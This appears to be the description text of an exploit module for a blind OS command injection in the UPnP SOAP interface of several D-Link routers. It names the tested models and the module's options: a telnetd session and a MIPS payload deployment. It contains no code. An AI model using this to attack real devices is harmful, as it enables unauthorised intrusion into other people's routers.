|
||||
Different DLink Routers are vulnerable to OS Command injection in the UPnP SOAP
|
||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||
output for the executed command when using the CMD target. Additionally, two targets
|
||||
are included, to start a telnetd service and finally a session over it, or deploy a
|
||||
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
|
||||
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, there could
|
||||
be more D-Link devices affected.
